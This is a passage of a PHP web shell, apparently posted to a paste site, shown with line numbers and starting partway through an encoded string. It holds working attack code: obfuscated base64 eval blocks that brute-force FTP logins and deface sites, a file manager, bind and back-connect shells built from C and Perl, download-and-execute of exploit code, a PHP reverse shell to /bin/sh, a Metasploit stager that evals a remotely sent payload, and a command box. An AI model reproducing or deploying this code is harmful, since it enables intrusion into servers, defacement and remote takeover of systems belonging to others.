uIGNsYXNzPSJzdHlsZTI3Ij4NCgkJPC9zcGFuPjxicj4NCgkJPHNwYW4gY2xhc3M9InN0eWxlMjciPjxmb250IHNpemU9IjUiIGNvbG9yPSJyZWQiPg0KCQk8c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IDcwMDsgZmlsdGVyOiBibHVyKGFkZD0xLCBkaXJlY3Rpb249MjcwLCBzdHJlbmd0aD0zMCkiPg0KCQk8Zm9udCBjbGFzcz0id2hpdGVnbG93IiBmYWNlPSJ0YWhvbWEiPjxzcGFuIDx1bD0iIj4NCgkJPGZvbnQgY29sb3I9IiM4MDgwODAiIGZhY2U9IlRhaG9tYSI+Jm5ic3A7IDxmb250IGNvbG9yPSIjMDAwMDAwIj4NCgkJPGEgc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZSIgaHJlZj0iaHR0cDovL3d3dy56b25lLWguY29tL2FyY2hpdmUvbm90aWZpZXI9QUwuTWFYJTIwSGFDa0VyIj4NCgkJPGZvbnQgY29sb3I9IiM4MDgwODAiIGZhY2U9IlRhaG9tYSI+Wm9uZS1oPC9mb250PjwvYT48Zm9udCBzaXplPSI1IiBjb2xvcj0icmVkIiBmYWNlPSJ0YWhvbWEiPjxmb250IGNsYXNzPSJ3aGl0ZWdsb3ciIGZhY2U9InRhaG9tYSI+PGZvbnQgY29sb3I9IiM4MDgwODAiIGZhY2U9IlRhaG9tYSI+DQoJCTxpbWcgYWx0PSIiIHNyYz0iaHR0cDovL3d3dy5zZW5vamZsYWdzLmNvbS9pbWFnZXMvbmF0aW9uYWwtZmxhZy1pY29ucy9TdWRhbi1GbGFnLnBuZyIgaGVpZ2h0PSIxNiIgd2lkdGg9IjE2Ij48L2ZvbnQ+PC9mb250PjwvZm9udD4NCgkJPC9mb250PjwvZm9udD48L3NwYW4+PC9mb250Pjwvc3Bhbj48L2ZvbnQ+PC9zcGFuPjwvYj4NCgkJPHN0cm9uZyBjbGFzcz0ic3R5bGU0MiI+R3VuQExpbnV4bWFpbC5Pcmc8L3N0cm9uZz48L2ZvbnQ+PC9jZW50ZXI+PC90ZD4NCgk8L3RyPg0KPC90YWJsZT4NCjxwIGFsaWduPSJjZW50ZXIiIGNsYXNzPSJzdHlsZTQ1Ij4mbmJzcDs8L3A+DQo8cCBhbGlnbj0iY2VudGVyIj48L3A+DQo8L2Rpdj4NCg0KPHAgY2xhc3M9InN0eWxlMzEiPiZuYnNwOzwvcD4NC'));
  387. exit;
  388. }
  389. elseif(isset($_GET['x']) && $_GET['x'] == 'cpftp'){
  390. eval (base64_decode('QGVycm9yX3JlcG9ydGluZygwKTsNCmVjaG8gJzxicj48Y2VudGVyPjxoMSBjbGFzcz0iazJsbDMzZDIiPkNwYW5lbCAmIEZ0cCBBdXRvIERlZmFjZXI8L2gxPjwvY2VudGVyPg0KPGJyPjxjZW50ZXI+PC9jZW50ZXI+JzsNCmVjaG8iPHRhYmxlIHdpZHRoPScxMDAlJyBjZWxsc3BhY2luZz0nMCcgY2VsbHBhZGRpbmc9JzAnIGNsYXNzPSd0YjEnID4NCjx0ZCB3aWR0aD0nMTAwJScgYWxpZ249Y2VudGVyIHZhbGlnbj0ndG9wJyByb3dzcGFuPScxJz48ZGl2IGNsYXNzPSdoZWRyJz4NCjx0ZCBoZWlnaHQ9JzEwJyBhbGlnbj0nbGVmdCcgY2xhc3M9J3RkMSc+PC90ZD48L3RyPjx0cj48dGQNCndpZHRoPScxMDAlJyBhbGlnbj0nY2VudGVyJyB2YWxpZ249J3RvcCcgcm93c3Bhbj0nMSc+DQo8Zm9udCBjb2xvcj0ncmVkJyBmYWNlPSdjb21pYyBzYW5zIG1zJyBzaXplPScxJz48Yj4NCjxmb250IGNvbG9yPSdSRUQnIGZhY2U9J2dvdGhpYycgc2l6ZT0nMyc+PC9mb250Pjxicj4NCjxmb250IGNvbG9yPSd3aGl0ZSc+PC9mb250Pg0KPC90YWJsZT4iOw0KZWNobyI8Ym9keT48aDYgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyJz48Zm9udCBjb2xvcj13aGl0ZT4NCjxmb3JtIG1ldGhvZD1wb3N0Pjxmb250IGZhY2U9VGFob21hIHNpemU9MiBjb2xvcj0jMDNmNWQwPg0KU2VydmVyIGlwIDogJm5ic3A7PGlucHV0IGNsYXNzPSdpbnB1dHonIHR5cGU9dGV4dCBuYW1lPWhpIHZhbHVlPWlwPiZuYnNwOw0KVXNlcm5hbWUgOiAmbmJzcDs8aW5wdXQgY2xhc3M9J2lucHV0eicgdHlwZT10ZXh0IG5hbWU9dHggdmFsdWU9PiZuYnNwOw0KUGFzc3dvcmQgOiAmbmJzcDs8aW5wdXQgY2xhc3M9J2lucHV0eicgdHlwZT10ZXh0IG5hbWU9cCB2YWx1ZT0+PGJyPjxicj4NCmZpbGUgdGhhdCB5b3Ugd2FudCB0byBkZWZhY2UgOiA8L2ZvbnQ+PGlucHV0IGNsYXNzPSdpbnB1dHonIHR5cGU9dGV4dCBuYW1lPXBoIHZhbHVlPSdpbmRleC5waHAnPjxicj48YnI+DQo8Zm9udCBmYWNlPVRhaG9tYSBzaXplPTIgY29sb3I9IzAwOTkwMD5EZWZhY2UgcGFnZSB1cmwgLS0+IDwvZm9udD48dGV4dGFyZWEgY2xhc3M9J2FyZWEnIHJvd3M9JzEnIGNvbHM9Jzc1JyBuYW1lPSdkZWZhY2UnIHZhbHVlPSd5b3VyIGRhZmFjZSBwYWdlIGxpbmsnPjwvdGV4dGFyZWE+PGJyPjxicj4NCjxpbnB1dCBjbGFzcz0naW5wdXR6JyB0eXBlPXN1Ym1pdCBuYW1lPXNtIHZhbHVlPSdLaWxsIGl0IE5vdycgLz48YnI+DQo8L2Zvcm0+IjsNCmlmKGlzc2V0KCRfUE9TVFsnc20nXSkpDQp7DQokaXA9dHJpbSgkX1BPU1RbJ2hpJ10pOw0KJHU9dHJpbSgkX1BPU1RbJ3R4J10pOw0KJHA9dHJpbSgkX1BPU1RbJ3AnXSk7DQokZD10cmltKCRfUE9TVFsncGgnXSk7DQokZGY9dHJpbSgkX1BPU1RbJ2RlZmFjZSddKTsNCmVjaG8gIjxicj48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTI+IjsNCmVjaG8gIjxmb250IGNvbG9yPXJlZCBzaXplPTM+c2VydmVyIGlwID09PjwvZm9udD4mbmJzcCIuJGlwOw0KZWNobyAiPGJyPjxmb250IGNvbG9yPXJlZCBzaXplPTM+dXNlciA9PT48L2ZvbnQ+ICZuYnNwIi4kdTsNCmVjaG8gIjxicj48Zm9udCBjb2xvcj1yZWQgc2l6ZT0zPnBhc3N3b3JkID09PjwvZm9udD4gJm5ic3AiLiRwOw0KZWNobyAiPGJyPjxmb250IGNvbG9yPXJlZCBzaXplPTM+ZGlyY3RvcnkgPT0+PC9mb250PiAmbmJzcCIuJGQ7DQplY2hvICI8YnI+PGZvbnQgY29sb3I9cmVkIHNpemU9Mz5kZWZhY2UgbGluayA9PT48L2ZvbnQ+PGJyPiIuJGRmLiI8YnI+IjsNCiRkbD0icHVibGljX2h0bWwvIi4kZDsNCiRzaT0gZnRwX2Nvbm5lY3QoJGlwKTsNCiR0cnk9IGZ0cF9sb2dpbigkc2ksJHUsJHApOw0KaWYgKCghJHNpKSB8fCAoISR0cnkpKQ0Kew0KZWNobyAiPGJyPmNvdWxkIG5vdCBjb25uZWN0ICwgaG9wZSB1IGZpbGxlZCBvdXQgYWxsIGNvcnJlY3RseSA6KCI7DQpleGl0Ow0KfQ0KZWxzZQ0Kew0KZWNobyAiPGJyPmNvbm5lY3Rpb24gZG9uZSBYRDxicj5HaG9zdCAsaXRzIHRpbWUgdG8gc3BpbiB0aGlzIHNoaXQ8YnI+IjsNCn0NCiRkZWZhY2UgPSBmdHBfcHV0KCRzaSwgJGRsICwgJGRmLCBGVFBfQklOQVJZKTsNCmlmICgkZGVmYWNlKQ0Kew0KZWNobyAiaGVsbCB5ZWFoIHBhZ2UgZ290IGRlZmFjZWQgc3VjY2Vzc2Z1bGx5ID4iOw0KfQ0KZWxzZQ0Kew0KZWNobyAiR2hvc3QgdHJ5IG1hbnVhbGx5IDooIjsNCn0NCn0='));
  391. exit;
  392. }
  393. elseif(isset($_GET['x']) && $_GET['x'] == 'whmbf'){
  394. exit;
  395. }
  396. elseif(isset($_GET['x']) && $_GET['x'] == 'cpmassdeface'){
  397. eval (base64_decode('c2V0X3RpbWVfbGltaXQoMCk7DQplY2hvICc8aHRtbD4NCjxoZWFkPg0KPC9oZWFkPg0KPGJvZHkgYWxpZ249ImNlbnRlciI+DQo8aDEgYWxpZ249ImNlbnRlciIgY2xhc3M9ImsybGwzM2QyIj4gQ3BhbmVsIE1hc3MgRGVmYWNlcjwvaDE+PC9icj4NCjxwPiZuYnNwOzwvcD4NCjxwIGFsaWduPSJjZW50ZXIiPjwvcD4NCjxwPiZuYnNwOzwvcD4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8Y2VudGVyPg0KSVAgU2VydmVyOjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJpcCIgdmFsdWU9ImlwIiAvPg0KPHA+Jm5ic3A7PC9wPg0KVXNlcnMgTGlzdDo8YnI+DQo8dGV4dGFyZWEgcm93cz0iMTAiIHN0eWxlPSJ3aWR0aDo0MCU7IiBuYW1lPSJ1c2VycyIgdmFsdWU9IlRoZSBVc2VycyBMaXN0Ij48L3RleHRhcmVhPg0KPHA+Jm5ic3A7PC9wPg0KUGFzc3dvcmRzIExpc3Q6PGJyPg0KPHRleHRhcmVhIHJvd3M9IjEwIiBzdHlsZT0id2lkdGg6NDAlOyIgbmFtZT0icGFzc3dvcmRzIiB2YWx1ZT0iVGhlIFBhc3N3b3JkIExpc3QiPjwvdGV4dGFyZWE+DQo8cD4mbmJzcDs8L3A+DQpJbmRleCBGaWxlIE5hbWU6PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9ImluZGV4X25hbWUiIHZhbHVlPSJpbmRleC50eHQiIC8+PGJyPg0KPHA+Jm5ic3A7PC9wPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iZm9yZXN0IiB2YWx1ZT0iTUFTUyIgLz48YnI+PGJyPg0KPC9mb3JtPic7DQogDQppZihpc3NldCgkX1BPU1RbJ2ZvcmVzdCddKSl7DQogDQojIEdldCBEYXRhIEZyb20gUE9TVA0KJGlwPXRyaW0oJF9QT1NUWydpcCddKTsNCiR1c2VycyA9IGV4cGxvZGUoIlxuIiwkX1BPU1RbInVzZXJzIl0pOw0KJHBhc3N3b3JkcyA9IGV4cGxvZGUoIlxuIiwkX1BPU1RbInBhc3N3b3JkcyJdKTsNCiRpbmRleF9uYW1lPXRyaW0oJF9QT1NUWydpbmRleF9uYW1lJ10pOw0KIA0KI0dvIE5vdw0KIA0KZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpew0KZm9yZWFjaCgkcGFzc3dvcmRzIGFzICRwYXNzKXsNCiRjb25uZWN0X2lwID0gZnRwX2Nvbm5lY3QoJGlwKSBvciBkaWUoIkNvdWxkbid0IENvbm5lY3QgVG8gJGlwIik7DQppZihAZnRwX2xvZ2luKCRjb25uZWN0X2lwLCB0cmltKCR1c2VyKSwgdHJpbSgkcGFzcykpKXsNCmVjaG8gIjxicj5Db25uZWN0ZWQgVG8gLS0+ICRpcEAkdXNlclxuIjsNCkBmdHBfZGVsZXRlKCRjb25uZWN0X2lwLCJpbmRleC4qIik7DQokZGVmYWNlID0gZnRwX3B1dCgkY29ubmVjdF9pcCwgIi9wdWJsaWNfaHRtbC9pbmRleC5waHAiICwgJGluZGV4X25hbWUsIEZUUF9BU0NJSSk7DQppZigkZGVmYWNlKXsNCmVjaG8gIjxicj48Zm9udCBjb2xvcj1ncmVlbj4gJHVzZXIgLS0+IERlZmFjZUQgV2l0aCBTdWNjZXNzICEhPC9mb250PiI7DQpicmVhazsNCn1lbHNlew0KZWNobyAiPGJyPjxmb250IGNvbG9yPXJlZD4gJHVzZXIgLS0+IEVycm9yIEluIERlZmFjaW5nIGlUICEhPC9mb250PiI7DQp9DQp9ZWxzZXsNCmVjaG8gIjxicj48Zm9udCBjb2xvcj1yZWQ+Q291bGRuJ3QgQ29ubmVjdCBUbyAtLT4gJGlwQCR1c2VyIC0tPiAkcGFzczwvZm9udD5cbiI7DQp9DQp9DQp9DQplY2hvIjxwPiZuYnNwOzwvcD4iOw0KZWNobyAiPGJyPjxmb250IHNpemU9NT4gISBNYXNzIERlZmFjaW5nIFdhcyBEb25lICEgPC9mb250PiI7DQplY2hvIjxwPiZuYnNwOzwvcD4iOw0KfQ=='));
  398. exit;
  399. }
  400. elseif(isset($_GET['view']) && ($_GET['view'] != "")){if(is_file($_GET['view'])){if(!isset($file))$file = magicboom($_GET['view']);if(!$win && $posix){$name=@posix_getpwuid(@fileowner($file));$group=@posix_getgrgid(@filegroup($file));$owner = $name['name']."<span class='gaya'> : </span>".$group['name'];} else {$owner = $user;}$filn = basename($file);echo "<table style='margin:6px 0 0 2px;line-height:20px;'> <tr><td>Filename</td><td><span id='".clearspace($filn)."_link'>".$file."</span> <form action='?y=".$pwd."&amp;view=$file' method='post' id='".clearspace($filn)."_form' class='sembunyi' style='margin:0;padding:0;'> <input type='hidden' name='oldname' value='".$filn."' style='margin:0;padding:0;' /> <input class='inputz' style='width:200px;' type='text' name='newname' value='".$filn."' /> <input class='inputzbut' type='submit' name='rename' value='rename' /> <input class='inputzbut' type='submit' name='cancel' value='cancel' onclick='tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');' /> </form> </td></tr> <tr><td>Size</td><td>".ukuran($file)."</td></tr> <tr><td>Permission</td><td>".get_perms($file)."</td></tr> <tr><td>Owner</td><td>".$owner."</td></tr> <tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr> <tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr> <tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr> <tr><td>Actions</td><td><a href='?y=$pwd&amp;edit=$file'>edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">rename</a> | <a href='?y=$pwd&amp;delete=$file'>delete</a> | <a href='?y=$pwd&amp;dl=$file'>download</a>&nbsp;(<a href='?y=$pwd&amp;dlgzip=$file'>gzip</a>)</td></tr> <tr><td>View</td><td><a href='?y=".$pwd."&amp;view=".$file."'>text</a> | <a href='?y=".$pwd."&amp;view=".$file."&amp;type=code'>code</a> | <a href='?y=".$pwd."&amp;view=".$file."&amp;type=image'>image</a></td></tr></table>";
  401. if(isset($_GET['type']) && ($_GET['type']=='image')){echo "<div style='text-align:center;margin:8px;'><img src='?y=".$pwd."&amp;img=".$filn."'></div>";}
  402. elseif(isset($_GET['type']) && ($_GET['type']=='code')){echo "<div class='viewfile'>";$file = wordwrap(@file_get_contents($file),"240","\n");@highlight_string($file);echo "</div>";} else {echo "<div class='viewfile'>";echo nl2br(htmlentities((@file_get_contents($file))));echo "</div>";}}elseif(is_dir($_GET['view'])){echo showdir($pwd,$prompt);}}
  403. elseif(isset($_GET['edit']) && ($_GET['edit'] != "")){if(isset($_POST['save'])){$file = $_POST['saveas'];$content = magicboom($_POST['content']);if($filez = @fopen($file,"w")){$time = date("d-M-Y H:i",time());if(@fwrite($filez,$content)) $msg = "file saved <span class='gaya'>@</span> ".$time;else $msg = "failed to save";@fclose($filez);}else $msg = "permission denied";}if(!isset($file))$file = $_GET['edit'];if($filez = @fopen($file,"r")){$content = "";
  404. while(!feof($filez)){$content .= htmlentities(str_replace("''","'",fgets($filez)));}
  405. @fclose($filez);}?><form action="?y=<?php echo $pwd;?>&amp;edit=<?php echo $file;?>" method="post"> <table class="cmdbox"> <tr><td colspan="2">
  406. <textarea class="output" name="content">
  407. <?php echo $content;?></textarea> <tr>
  408. <td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file;?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" /> &nbsp;<?php echo $msg;?></td></tr></table></form> <?php }
  409. elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){if(isset($_POST['uploadcomp'])){if(is_uploaded_file($_FILES['file']['tmp_name'])){$path = magicboom($_POST['path']);$fname = $_FILES['file']['name'];$tmp_name = $_FILES['file']['tmp_name'];$pindah = $path.$fname;$stat = @move_uploaded_file($tmp_name,$pindah);if ($stat) {$msg = "file uploaded to $pindah";} else $msg = "failed to upload $fname";}else $msg = "failed to upload $fname";}
  410. elseif(isset($_POST['uploadurl'])){$pilihan = trim($_POST['pilihan']);$wurl = trim($_POST['wurl']);$path = magicboom($_POST['path']);$namafile = download($pilihan,$wurl);$pindah = $path.$namafile;if(is_file($pindah)){$msg = "file uploaded to $pindah";}else $msg ="failed to upload $namafile";}?><br><br><center><div class="mybox"><form action="?y=<?php echo $pwd;?>&amp;x=upload" enctype="multipart/form-data" method="post"><h1 class="k2ll33d2">Upload Files To The Server</h1><table class="tabnet" style="width:320px;padding:0 1px;"> <tr><th colspan="2">Local</th></tr> <tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" />&nbsp;<input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td> <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd;?>" /></td></tr> </tr> </table></form><br><table class="tabnet" style="width:320px;padding:0 1px;"> <tr><th colspan="2">Remote</th></tr> <tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd;?>&amp;x=upload"> <table><tr><td>link</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://site/file.*"></td></tr> <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd;?>" /></td></tr> <tr><td><select size="1" class="inputz" name="pilihan"> <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option> <option value="wget">GET</option> <option value="wcurl">curl</option> </select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td> </tr> </table> <div style="text-align:center;margin:2px;"><?php echo $msg;?></div></div></center>
  411. <?php }
  412. elseif(isset($_GET['x']) && ($_GET['x'] == 'back')){
  413. if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {$port = trim($_POST['port']);$passwrd = trim($_POST['bind_pass']);tulis("bdc.c",$port_bind_bd_c);exe("gcc -o bdc bdc.c");exe("chmod 777 bdc");@unlink("bdc.c");exe("./bdc ".$port." ".$passwrd." &");$scan = exe("ps aux");if(eregi("./bdc $por",$scan)){$msg = "<p>Process successed</p>";} else {$msg = "<p>Process Failed</p>";}}
  414. elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {$port = trim($_POST['port']);$passwrd = trim($_POST['bind_pass']);tulis("bdp",$port_bind_bd_pl);exe("chmod 777 bdp");$p2=which("perl");exe($p2." bdp ".$port." &");$scan = exe("ps aux");if(eregi("$p2 bdp $port",$scan)){$msg = "<p>Process successed</p>";} else {$msg = "<p>Process Failed</p>";} }
  415. elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {$ip = trim($_POST['ip']);$port = trim($_POST['backport']);tulis("bcc.c",$back_connect_c);exe("gcc -o bcc bcc.c");exe("chmod 777 bcc");@unlink("bcc.c");exe("./bcc ".$ip." ".$port." &");$msg = "trying to connect to ".$ip." on port ".$port." ...";}
  416. elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
  417. $ip = trim($_POST['ip']);$port = trim($_POST['backport']);tulis("bcp",$back_connect);
  418. exe("chmod +x bcp");$p2=which("perl");exe($p2." bcp ".$ip." ".$port." &");
  419. $msg = "Trying to connect to ".$ip." on port ".$port." ...";}
  420. elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd'])) {$pilihan = trim($_POST['pilihan']);$wurl = trim($_POST['wurl']);$namafile = download($pilihan,$wurl);
  421. if(is_file($namafile)){$msg = exe($wcmd);}
  422. else $msg = "error: file not found $namafile";}?><br><br><br><br> <table class="tabnet"> <tr><th>Bind Port</th><th>Back connect</th><th>download and Exec</th></tr><tr><td> <table> <form method="post" actions="?y=<?php echo $pwd;?>&amp;x=back"><tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr> <tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass;?>"></td></tr> <tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select><input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form></table> </td> <td><table> <form method="post" actions="?y=<?php echo $pwd;?>&amp;x=back"><tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"));?>"></td></tr> <tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport;?>"></td></tr> <tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select> <input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form></table> </td> <td> <table> <form method="post" actions="?y=<?php echo $pwd;?>&amp;x=back"><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr><tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td> </tr> <tr><td><select size="1" class="inputz" name="pilihan"> <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option><option value="wget">GET</option> <option value="wcurl">curl</option> </select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td></tr></table><div style="text-align:center;margin:2px;"><?php echo $msg;?></div><br>
  423. <?php
  424. error_reporting(0);
  425. function ss($t){if (!get_magic_quotes_gpc()) return trim(urldecode($t));return trim(urldecode(stripslashes($t)));}
  426. $s_my_ip = $_SERVER['REMOTE_ADDR'];$rsport = "443";$rsportb4 = $rsport;$rstarget4 = $s_my_ip;$s_result = "<center><div class='mybox' align='center'><td><h2>Reverse shell ( php )</h2><form method='post' actions='?y=<?php echo $pwd;?>&amp;x='back'><table class='myboxtbl'><tr><td style='width:100px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' name='rstarget4' value='".$rstarget4."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='sqlportb4' value='".$rsportb4."' /></td></tr></table><input type='submit' name='xback_php' class='inputzbut' value='connect' style='width:120px;height:30px;margin:10px 2px 0 2px;' /><input type='hidden' name='d' value='".$pwd."' /></form></td></div><br><div class='mybox'><td><form method='POST'><table class='myboxtbl'><h2>Metasploit Connection </h2><tr><td style='width:100px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' size='40' name='yip' value='".$my_ip."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' size='5' name='yport' value='443' /></td></tr></table><input class='inputzbut' type='submit' value='Connect' name='metaConnect' style='width:120px;height:30px;margin:10px 2px 0 2px;'></form></td></div></center>";
  427. echo $s_result;
  428. if($_POST['metaConnect']){$ipaddr = $_POST['yip'];$port = $_POST['yport'];if ($ip == "" && $port == ""){echo "fill in the blanks";}else {if (FALSE !== strpos($ipaddr, ":")) {$ipaddr = "[". $ipaddr ."]";}if (is_callable('stream_socket_client')){$msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");if (!$msgsock){die();}$msgsock_type = 'stream';}elseif (is_callable('fsockopen')){$msgsock = fsockopen($ipaddr,$port);if (!$msgsock) {die(); }$msgsock_type = 'stream';}elseif (is_callable('socket_create')){$msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);$res = socket_connect($msgsock, $ipaddr, $port);if (!$res) {die(); }$msgsock_type = 'socket';}else {die();}switch ($msgsock_type){case 'stream': $len = fread($msgsock, 4); break;case 'socket': $len = socket_read($msgsock, 4); break;}if (!$len) {die();}$a = unpack("Nlen", $len);$len = $a['len'];$buffer = '';while (strlen($buffer) < $len){switch ($msgsock_type) {case 'stream': $buffer .= fread($msgsock, $len-strlen($buffer)); break;case 'socket': $buffer .= socket_read($msgsock, $len-strlen($buffer));break;}}eval($buffer);echo "[*] Connection Terminated";die();}}
  429. if(isset($_REQUEST['sqlportb4'])) $rsportb4 = ss($_REQUEST['sqlportb4']);
  430. if(isset($_REQUEST['rstarget4'])) $rstarget4 = ss($_REQUEST['rstarget4']);
  431. if ($_POST['xback_php']) {$ip = $rstarget4;$port = $rsportb4;$chunk_size = 1337;$write_a = null;$error_a = null;$shell = '/bin/sh';$daemon = 0;$debug = 0;if(function_exists('pcntl_fork')){$pid = pcntl_fork();
  432. if ($pid == -1) exit(1);if ($pid) exit(0);if (posix_setsid() == -1) exit(1);$daemon = 1;}
  433. umask(0);$sock = fsockopen($ip, $port, $errno, $errstr, 30);if(!$sock) exit(1);
  434. $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
  435. $process = proc_open($shell, $descriptorspec, $pipes);
  436. if(!is_resource($process)) exit(1);
  437. stream_set_blocking($pipes[0], 0);
  438. stream_set_blocking($pipes[1], 0);
  439. stream_set_blocking($pipes[2], 0);
  440. stream_set_blocking($sock, 0);
  441. while(1){if(feof($sock)) break;if(feof($pipes[1])) break;$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
  442. if(in_array($sock, $read_a)){$input = fread($sock, $chunk_size);fwrite($pipes[0], $input);}
  443. if(in_array($pipes[1], $read_a)){$input = fread($pipes[1], $chunk_size);fwrite($sock, $input);}
  444. if(in_array($pipes[2], $read_a)){$input = fread($pipes[2], $chunk_size);fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);$rsres = " ";$s_result .= $rsres;}} elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')){?>
  445. <form action="?y=<?php echo $pwd;?>&amp;x=shell" method="post"> <table class="cmdbox"> <tr><td colspan="2">
  446. <textarea class="output" readonly>
  447. <?php if(isset($_POST['submitcmd'])) {echo @exe($_POST['cmd']);} ?>
  448. </textarea> <tr><td colspan="2"><?php echo $prompt;?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Do !" name="submitcmd" style="width:12%;" /></td></tr> </table></form>
  449. <?php }else{if(isset($_GET['delete']) && ($_GET['delete'] != "")){$file = $_GET['delete'];@unlink($file);}
  450. elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){@rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR));}
  451. elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){$path = $pwd.$_GET['mkdir'];@mkdir($path);}$buff = showdir($pwd,$prompt);echo $buff;}
  452. ?>
  453. <?php
  454. echo '<div class="footer">
  455. <h1 style="text-align: center;">&copy; XMirical&nbsp;&nbsp;<a href="http://facebook.com/" target="_blank"><img src="ava.jpg" width=30></a></h1>
  456. </div>';
  457. ?>
  458. </div></body></html>
Add Comment
Please, Sign In to add comment